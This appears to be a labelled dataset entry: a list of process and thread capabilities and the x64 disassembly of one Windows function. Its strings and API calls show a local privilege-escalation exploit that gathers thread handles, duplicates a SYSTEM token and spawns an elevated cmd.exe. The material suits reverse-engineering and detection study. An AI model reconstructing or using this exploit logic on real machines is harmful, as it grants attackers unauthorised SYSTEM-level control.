Function at 0x140001520
Capabilities:
Create process on windows
Create process suspended
Create thread
Resume thread
Terminate process

Disassembly:
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov qword [rbp - 0x41], 0xfffffffffffffffe
mov qword [rsp + 0x148], rbx
xor r15d, r15d
mov qword [rbp - 0x69], r15
mov qword [rbp - 0x61], r15
call fcn.140001ee0
mov qword [rbp - 0x69], rax
lea rcx, str.Gathering_thread_handles_n
call fcn.1400011f0
mov esi, r15d
call fcn.140001250
mov rdi, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov dword [rbp + 0x67], eax
test eax, eax
je 0x140001875
mov r9, qword [rbp - 0x69]
mov rcx, qword [r9 + 8]
mov rdx, rcx
mov r8, r9
cmp byte [rcx + 0x19], 0
jne 0x1400015c4
cmp dword [rdx + 0x20], eax
jae 0x1400015a2
mov rdx, qword [rdx + 0x10]
jmp 0x1400015a8
mov r8, rdx
mov rdx, qword [rdx]
cmp byte [rdx + 0x19], 0
je 0x140001597
cmp r8, r9
je 0x1400015c4
cmp eax, dword [r8 + 0x20]
jb 0x1400015c4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001627
mov rbx, r9
cmp byte [rcx + 0x19], 0
jne 0x1400015f1
nop dword [rax]
cmp dword [rcx + 0x20], eax
jae 0x1400015db
mov rcx, qword [rcx + 0x10]
jmp 0x1400015e1
mov rbx, rcx
mov rcx, qword [rcx]
cmp byte [rcx + 0x19], 0
je 0x1400015d0
cmp rbx, r9
je 0x1400015f1
cmp eax, dword [rbx + 0x20]
jae 0x140001623
lea rax, [rbp + 0x67]
mov qword [rbp + 0x6f], rax
lea r8, [rbp + 0x6f]
lea rcx, [rbp - 0x69]
call fcn.140001f70
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x69]
call fcn.140001fb0
mov rbx, qword [rbp + 0x77]
mov qword [rbx + 0x28], rdi
inc esi
cmp esi, 0x3e8
jl 0x140001567
mov rdx, qword [rbp - 0x61]
lea rcx, str.Done__got__zd_handles_n
call fcn.1400011f0
cmp qword [rbp - 0x61], 0
jbe 0x140001851
mov rcx, qword [rbp - 0x69]
mov rcx, qword [rcx]
mov rcx, qword [rcx + 0x28]
call fcn.1400013e0
mov r14, rax
mov rdx, rax
lea rcx, str.System_Token:__p_n
call fcn.1400011f0
mov rdi, qword [rbp - 0x69]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000171f
mov ecx, 0x10
call fcn.1400026a4
mov rsi, rax
mov rcx, qword [rbx + 0x28]
mov qword [rax], rcx
lea r8, [rax + 8]
mov edx, 2
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_DuplicateToken]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
mov r9, rsi
lea r8, [0x1400014e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp byte [rbx + 0x19], 0
jne 0x140001716
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
jne 0x1400016f0
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x140001716
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1400016e2
jmp 0x140001716
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140001713
nop word [rax + rax]
cmp rbx, qword [rax + 0x10]
jne 0x140001713
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140001700
mov rbx, rax
cmp rbx, rdi
jne 0x140001682
lea rbx, str.cmd.exe
nop word [rax + rax]
xor eax, eax
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x39]
call fcn.140005220
mov dword [rbp - 0x39], 0x68
lea rax, [rbp - 0x59]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x39]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], 4
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
mov r9d, 2
lea r8, str.test
lea rdx, str.test
lea rcx, str.test
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithLogonW]
test eax, eax
je 0x140001730
lea r8, [rbp + 0x77]
mov edx, 0x2000000
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001832
mov dword [rbp + 0x67], r15d
lea rax, [rbp + 0x67]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp + 0x6f]
lea edx, [r9 + 0x10]
mov rcx, qword [rbp + 0x77]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140001823
cmp dword [rbp + 0x6f], 0
jne 0x140001815
mov edx, 1
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001730
lea rcx, str.Created_elevated_process_n
call fcn.1400011f0
jmp 0x140001851
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Couldnt_get_token_elevation:__d_n
jmp 0x14000183f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Couldnt_open_process_token__d_n
mov edx, eax
call fcn.1400011f0
mov rcx, qword [rbp - 0x51]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
nop
mov r8, qword [rbp - 0x69]
mov r9, r8
mov r8, qword [r8]
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x69]
call fcn.1400018e0
mov rcx, qword [rbp - 0x69]
call fcn.1400026e0
xor eax, eax
jmp 0x140001894
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Handle_not_a_thread:__d_n
call fcn.1400011f0
mov ecx, 1
call fcn.140006ad0
nop
mov rbx, qword [rsp + 0x148]
add rsp, 0x100
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret